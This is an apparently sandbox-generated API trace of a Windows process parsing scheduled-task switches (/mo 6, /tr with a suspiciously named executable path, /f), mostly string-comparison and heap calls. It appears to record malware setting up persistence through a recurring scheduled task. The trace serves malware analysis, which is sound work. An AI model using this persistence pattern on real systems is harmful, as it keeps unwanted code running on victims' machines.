_Buffer="|run|") returned 5 [0157.004] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|mo|") returned 4 [0157.004] lstrlenW (lpString="|run|") returned 5 [0157.004] lstrlenW (lpString="|mo|") returned 4 [0157.004] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0157.004] SetLastError (dwErrCode=0x490) [0157.004] lstrlenW (lpString="end") returned 3 [0157.004] lstrlenW (lpString="end") returned 3 [0157.004] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.004] lstrlenW (lpString="mo") returned 2 [0157.004] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.004] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|end|") returned 5 [0157.004] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|mo|") returned 4 [0157.004] lstrlenW (lpString="|end|") returned 5 [0157.004] lstrlenW (lpString="|mo|") returned 4 [0157.004] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0157.004] SetLastError (dwErrCode=0x490) [0157.004] lstrlenW (lpString="showsid") returned 7 [0157.004] lstrlenW (lpString="showsid") returned 7 [0157.004] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.004] lstrlenW (lpString="mo") returned 2 [0157.004] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.005] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|showsid|") returned 9 [0157.005] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|mo|") returned 4 [0157.005] lstrlenW (lpString="|showsid|") returned 9 [0157.005] lstrlenW (lpString="|mo|") returned 4 [0157.005] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0157.005] SetLastError (dwErrCode=0x490) [0157.005] SetLastError (dwErrCode=0x490) [0157.005] SetLastError (dwErrCode=0x0) [0157.005] lstrlenW (lpString="/mo") returned 3 [0157.005] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0157.005] SetLastError (dwErrCode=0x490) [0157.005] SetLastError (dwErrCode=0x0) [0157.005] lstrlenW (lpString="/mo") returned 3 [0157.005] GetProcessHeap () returned 0x230000 [0157.005] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x8) returned 0x24dcb0 [0157.005] GetProcessHeap () returned 0x230000 [0157.005] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cce0 [0157.005] SetLastError (dwErrCode=0x0) [0157.005] SetLastError (dwErrCode=0x0) [0157.005] lstrlenW (lpString="6") returned 1 [0157.005] SetLastError (dwErrCode=0x490) [0157.005] SetLastError (dwErrCode=0x0) [0157.005] lstrlenW (lpString="6") returned 1 [0157.005] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0157.005] SetLastError (dwErrCode=0x490) [0157.005] SetLastError (dwErrCode=0x0) [0157.005] lstrlenW (lpString="6") returned 1 [0157.005] GetProcessHeap () returned 0x230000 [0157.005] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x4) returned 0x24dcd0 [0157.005] GetProcessHeap () returned 0x230000 [0157.005] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cd10 [0157.005] SetLastError (dwErrCode=0x0) [0157.005] SetLastError (dwErrCode=0x0) [0157.005] lstrlenW (lpString="/tr") returned 3 [0157.005] lstrlenW (lpString="-/") returned 2 [0157.005] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.005] lstrlenW (lpString="?") returned 1 [0157.005] lstrlenW (lpString="?") returned 1 [0157.005] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.005] lstrlenW (lpString="tr") returned 2 [0157.005] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.005] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|?|") returned 3 [0157.006] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|tr|") returned 4 [0157.006] lstrlenW (lpString="|?|") returned 3 [0157.006] lstrlenW (lpString="|tr|") returned 4 [0157.006] SetLastError (dwErrCode=0x490) [0157.006] lstrlenW (lpString="create") returned 6 [0157.006] lstrlenW (lpString="create") returned 6 [0157.006] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.006] lstrlenW (lpString="tr") returned 2 [0157.006] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.006] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|create|") returned 8 [0157.006] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|tr|") returned 4 [0157.006] lstrlenW (lpString="|create|") returned 8 [0157.006] lstrlenW (lpString="|tr|") returned 4 [0157.006] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0157.006] SetLastError (dwErrCode=0x490) [0157.006] lstrlenW (lpString="delete") returned 6 [0157.006] lstrlenW (lpString="delete") returned 6 [0157.006] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.006] lstrlenW (lpString="tr") returned 2 [0157.006] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.006] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|delete|") returned 8 [0157.006] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|tr|") returned 4 [0157.006] lstrlenW (lpString="|delete|") returned 8 [0157.006] lstrlenW (lpString="|tr|") returned 4 [0157.006] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0157.006] SetLastError (dwErrCode=0x490) [0157.006] lstrlenW (lpString="query") returned 5 [0157.006] lstrlenW (lpString="query") returned 5 [0157.006] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.006] lstrlenW (lpString="tr") returned 2 [0157.006] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.006] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|query|") returned 7 [0157.006] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|tr|") returned 4 [0157.006] lstrlenW (lpString="|query|") returned 7 [0157.006] lstrlenW (lpString="|tr|") returned 4 [0157.007] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0157.007] SetLastError (dwErrCode=0x490) [0157.007] lstrlenW (lpString="change") returned 6 [0157.007] lstrlenW (lpString="change") returned 6 [0157.007] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.007] lstrlenW (lpString="tr") returned 2 [0157.007] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.007] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|change|") returned 8 [0157.007] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|tr|") returned 4 [0157.007] lstrlenW (lpString="|change|") returned 8 [0157.007] lstrlenW (lpString="|tr|") returned 4 [0157.007] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0157.007] SetLastError (dwErrCode=0x490) [0157.007] lstrlenW (lpString="run") returned 3 [0157.007] lstrlenW (lpString="run") returned 3 [0157.007] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.007] lstrlenW (lpString="tr") returned 2 [0157.007] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.007] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|run|") returned 5 [0157.007] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|tr|") returned 4 [0157.007] lstrlenW (lpString="|run|") returned 5 [0157.007] lstrlenW (lpString="|tr|") returned 4 [0157.007] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0157.007] SetLastError (dwErrCode=0x490) [0157.007] lstrlenW (lpString="end") returned 3 [0157.007] lstrlenW (lpString="end") returned 3 [0157.007] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.007] lstrlenW (lpString="tr") returned 2 [0157.007] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.007] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|end|") returned 5 [0157.007] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|tr|") returned 4 [0157.007] lstrlenW (lpString="|end|") returned 5 [0157.007] lstrlenW (lpString="|tr|") returned 4 [0157.007] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0157.007] SetLastError (dwErrCode=0x490) [0157.007] lstrlenW (lpString="showsid") returned 7 [0157.007] lstrlenW (lpString="showsid") returned 7 [0157.007] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.008] lstrlenW (lpString="tr") returned 2 [0157.008] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.008] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|showsid|") returned 9 [0157.008] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|tr|") returned 4 [0157.008] lstrlenW (lpString="|showsid|") returned 9 [0157.008] lstrlenW (lpString="|tr|") returned 4 [0157.008] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0157.008] SetLastError (dwErrCode=0x490) [0157.008] SetLastError (dwErrCode=0x490) [0157.008] SetLastError (dwErrCode=0x0) [0157.008] lstrlenW (lpString="/tr") returned 3 [0157.008] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0157.008] SetLastError (dwErrCode=0x490) [0157.008] SetLastError (dwErrCode=0x0) [0157.008] lstrlenW (lpString="/tr") returned 3 [0157.008] GetProcessHeap () returned 0x230000 [0157.008] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x8) returned 0x24dcf0 [0157.008] GetProcessHeap () returned 0x230000 [0157.008] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cd40 [0157.008] SetLastError (dwErrCode=0x0) [0157.008] SetLastError (dwErrCode=0x0) [0157.008] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.008] lstrlenW (lpString="-/") returned 2 [0157.008] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0157.008] SetLastError (dwErrCode=0x490) [0157.008] SetLastError (dwErrCode=0x490) [0157.008] SetLastError (dwErrCode=0x0) [0157.008] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.008] StrChrIW (lpStart="'C:\\comproviderRuntimecommon\\but inside save.exe'", wMatch=0x3a) returned=":\\comproviderRuntimecommon\\but inside save.exe'" [0157.008] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.008] GetProcessHeap () returned 0x230000 [0157.008] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24d500 [0157.008] _memicmp (_Buf1=0x24d500, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.008] GetProcessHeap () returned 0x230000 [0157.008] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xe) returned 0x24d520 [0157.008] GetProcessHeap () returned 0x230000 [0157.008] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24d540 [0157.009] _memicmp (_Buf1=0x24d540, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.009] GetProcessHeap () returned 0x230000 [0157.009] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x66) returned 0x24dd10 [0157.009] SetLastError (dwErrCode=0x7a) [0157.009] SetLastError (dwErrCode=0x0) [0157.009] SetLastError (dwErrCode=0x0) [0157.009] lstrlenW (lpString="'C") returned 2 [0157.009] lstrlenW (lpString="-/") returned 2 [0157.009] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0157.009] SetLastError (dwErrCode=0x490) [0157.009] SetLastError (dwErrCode=0x490) [0157.009] SetLastError (dwErrCode=0x0) [0157.009] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.009] GetProcessHeap () returned 0x230000 [0157.009] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x64) returned 0x24dd80 [0157.009] GetProcessHeap () returned 0x230000 [0157.009] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cd70 [0157.009] SetLastError (dwErrCode=0x0) [0157.009] SetLastError (dwErrCode=0x0) [0157.009] lstrlenW (lpString="/f") returned 2 [0157.009] lstrlenW (lpString="-/") returned 2 [0157.009] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.009] lstrlenW (lpString="?") returned 1 [0157.009] lstrlenW (lpString="?") returned 1 [0157.009] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.009] lstrlenW (lpString="f") returned 1 [0157.009] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.009] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|?|") returned 3 [0157.009] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|f|") returned 3 [0157.009] lstrlenW (lpString="|?|") returned 3 [0157.009] lstrlenW (lpString="|f|") returned 3 [0157.009] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0157.009] SetLastError (dwErrCode=0x490) [0157.009] lstrlenW (lpString="create") returned 6 [0157.009] lstrlenW (lpString="create") returned 6 [0157.009] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.009] lstrlenW (lpString="f") returned 1 [0157.009] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.009] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|create|") returned 8 [0157.010] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|f|") returned 3 [0157.010] lstrlenW (lpString="|create|") returned 8 [0157.010] lstrlenW (lpString="|f|") returned 3 [0157.010] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0157.010] SetLastError (dwErrCode=0x490) [0157.010] lstrlenW (lpString="delete") returned 6 [0157.010] lstrlenW (lpString="delete") returned 6 [0157.010] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.010] lstrlenW (lpString="f") returned 1 [0157.010] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.010] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|delete|") returned 8 [0157.010] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|f|") returned 3 [0157.010] lstrlenW (lpString="|delete|") returned 8 [0157.010] lstrlenW (lpString="|f|") returned 3 [0157.010] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0157.010] SetLastError (dwErrCode=0x490) [0157.010] lstrlenW (lpString="query") returned 5 [0157.010] lstrlenW (lpString="query") returned 5 [0157.010] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.010] lstrlenW (lpString="f") returned 1 [0157.010] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.010] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|query|") returned 7 [0157.010] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|f|") returned 3 [0157.010] lstrlenW (lpString="|query|") returned 7 [0157.010] lstrlenW (lpString="|f|") returned 3 [0157.010] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0157.010] SetLastError (dwErrCode=0x490) [0157.010] lstrlenW (lpString="change") returned 6 [0157.010] lstrlenW (lpString="change") returned 6 [0157.010] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.010] lstrlenW (lpString="f") returned 1 [0157.010] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.010] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|change|") returned 8 [0157.010] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|f|") returned 3 [0157.010] lstrlenW (lpString="|change|") returned 8 [0157.010] lstrlenW (lpString="|f|") returned 3 [0157.010] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0157.011] SetLastError (dwErrCode=0x490) [0157.011] lstrlenW (lpString="run") returned 3 [0157.011] lstrlenW (lpString="run") returned 3 [0157.011] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.011] lstrlenW (lpString="f") returned 1 [0157.011] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.011] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|run|") returned 5 [0157.011] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|f|") returned 3 [0157.011] lstrlenW (lpString="|run|") returned 5 [0157.011] lstrlenW (lpString="|f|") returned 3 [0157.011] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0157.011] SetLastError (dwErrCode=0x490) [0157.011] lstrlenW (lpString="end") returned 3 [0157.011] lstrlenW (lpString="end") returned 3 [0157.011] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.011] lstrlenW (lpString="f") returned 1 [0157.011] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.011] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|end|") returned 5 [0157.011] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|f|") returned 3 [0157.011] lstrlenW (lpString="|end|") returned 5 [0157.011] lstrlenW (lpString="|f|") returned 3 [0157.011] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0157.011] SetLastError (dwErrCode=0x490) [0157.011] lstrlenW (lpString="showsid") returned 7 [0157.011] lstrlenW (lpString="showsid") returned 7 [0157.011] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.011] lstrlenW (lpString="f") returned 1 [0157.011] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.011] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|showsid|") returned 9 [0157.011] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|f|") returned 3 [0157.011] lstrlenW (lpString="|showsid|") returned 9 [0157.011] lstrlenW (lpString="|f|") returned 3 [0157.011] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0157.011] SetLastError (dwErrCode=0x490) [0157.012] SetLastError (dwErrCode=0x490) [0157.012] SetLastError (dwErrCode=0x0) [0157.012] lstrlenW (lpString="/f") returned 2 [0157.012] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0157.012] SetLastError (dwErrCode=0x490) [0157.012] SetLastError (dwErrCode=0x0) [0157.012] lstrlenW (lpString="/f") returned 2 [0157.012] GetProcessHeap () returned 0x230000 [0157.012] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x6) returned 0x24ddf0 [0157.012] GetProcessHeap () returned 0x230000 [0157.012] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cda0 [0157.012] SetLastError (dwErrCode=0x0) [0157.012] GetProcessHeap () returned 0x230000 [0157.012] GetProcessHeap () returned 0x230000 [0157.012] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c1e0) returned 1 [0157.012] GetProcessHeap () returned 0x230000 [0157.012] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c1e0) returned 0x8 [0157.012] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c1e0 | out: hHeap=0x230000) returned 1 [0157.012] GetProcessHeap () returned 0x230000 [0157.012] GetProcessHeap () returned 0x230000 [0157.012] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cbf0) returned 1 [0157.012] GetProcessHeap () returned 0x230000 [0157.012] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cbf0) returned 0x20 [0157.012] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cbf0 | out: hHeap=0x230000) returned 1 [0157.012] GetProcessHeap () returned 0x230000 [0157.012] GetProcessHeap () returned 0x230000 [0157.012] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc20) returned 1 [0157.013] GetProcessHeap () returned 0x230000 [0157.013] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cc20) returned 0x22 [0157.013] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc20 | out: hHeap=0x230000) returned 1 [0157.013] GetProcessHeap () returned 0x230000 [0157.013] GetProcessHeap () returned 0x230000 [0157.013] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc50) returned 1 [0157.013] GetProcessHeap () returned 0x230000 [0157.013] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cc50) returned 0x20 [0157.013] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc50 | out: hHeap=0x230000) returned 1 [0157.013] GetProcessHeap () returned 0x230000 [0157.013] GetProcessHeap () returned 0x230000 [0157.013] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c270) returned 1 [0157.013] GetProcessHeap () returned 0x230000 [0157.013] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c270) returned 0x8 [0157.013] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c270 | out: hHeap=0x230000) returned 1 [0157.013] GetProcessHeap () returned 0x230000 [0157.013] GetProcessHeap () returned 0x230000 [0157.013] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc80) returned 1 [0157.013] GetProcessHeap () returned 0x230000 [0157.013] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cc80) returned 0x20 [0157.013] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc80 | out: hHeap=0x230000) returned 1 [0157.014] GetProcessHeap () returned 0x230000 [0157.014] GetProcessHeap () returned 0x230000 [0157.014] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d4e0) returned 1 [0157.014] GetProcessHeap () returned 0x230000 [0157.014] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d4e0) returned 0xe [0157.014] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d4e0 | out: hHeap=0x230000) returned 1 [0157.014] GetProcessHeap () returned 0x230000 [0157.014] GetProcessHeap () returned 0x230000 [0157.014] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ccb0) returned 1 [0157.014] GetProcessHeap () returned 0x230000 [0157.014] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ccb0) returned 0x20 [0157.014] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ccb0 | out: hHeap=0x230000) returned 1 [0157.014] GetProcessHeap () returned 0x230000 [0157.014] GetProcessHeap () returned 0x230000 [0157.014] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24dcb0) returned 1 [0157.014] GetProcessHeap () returned 0x230000 [0157.014] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24dcb0) returned 0x8 [0157.014] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24dcb0 | out: hHeap=0x230000) returned 1 [0157.014] GetProcessHeap () returned 0x230000 [0157.014] GetProcessHeap () returned 0x230000 [0157.014] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cce0) returned 1 [0157.014] GetProcessHeap () returned 0x230000 [0157.014] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cce0) returned 0x20 [0157.014] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cce0 | out: hHeap=0x230000) returned 1 [0157.014] GetProcessHeap () returned 0x230000 [0157.014] GetProcessHeap () returned 0x230000 [0157.014] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24dcd0) returned 1 [0157.014] GetProcessHeap () returned 0x230000 [0157.014] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24dcd0) returned 0x4 [0157.015] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24dcd0 | out: hHeap=0x230000) returned 1 [0157.015] GetProcessHeap () returned 0x230000 [0157.015] GetProcessHeap () returned 0x230000 [0157.015] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cd10) returned 1 [0157.015] GetProcessHeap () returned 0x230000 [0157.015] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cd10) returned 0x20 [0157.015] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cd10 | out: hHeap=0x230000) returned 1 [0157.015] GetProcessHeap () returned 0x230000 [0157.015] GetProcessHeap () returned 0x230000 [0157.015] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24dcf0) returned 1 [0157.015] GetProcessHeap () returned 0x230000 [0157.015] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24dcf0) returned 0x8 [0157.015] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24dcf0 | out: hHeap=0x230000) returned 1 [0157.015] GetProcessHeap () returned 0x230000 [0157.015] GetProcessHeap () returned 0x230000 [0157.015] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cd40) returned 1 [0157.015] GetProcessHeap () returned 0x230000 [0157.015] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cd40) returned 0x20 [0157.015] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cd40 | out: hHeap=0x230000) returned 1 [0157.015] GetProcessHeap () returned 0x230000 [0157.015] GetProcessHeap () returned 0x230000 [0157.015] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24dd80) returned 1 [0157.015] GetProcessHeap () returned 0x230000 [0157.015] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24dd80) returned 0x64 [0157.016] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24dd80 | out: hHeap=0x230000) returned 1 [0157.016] GetProcessHeap () 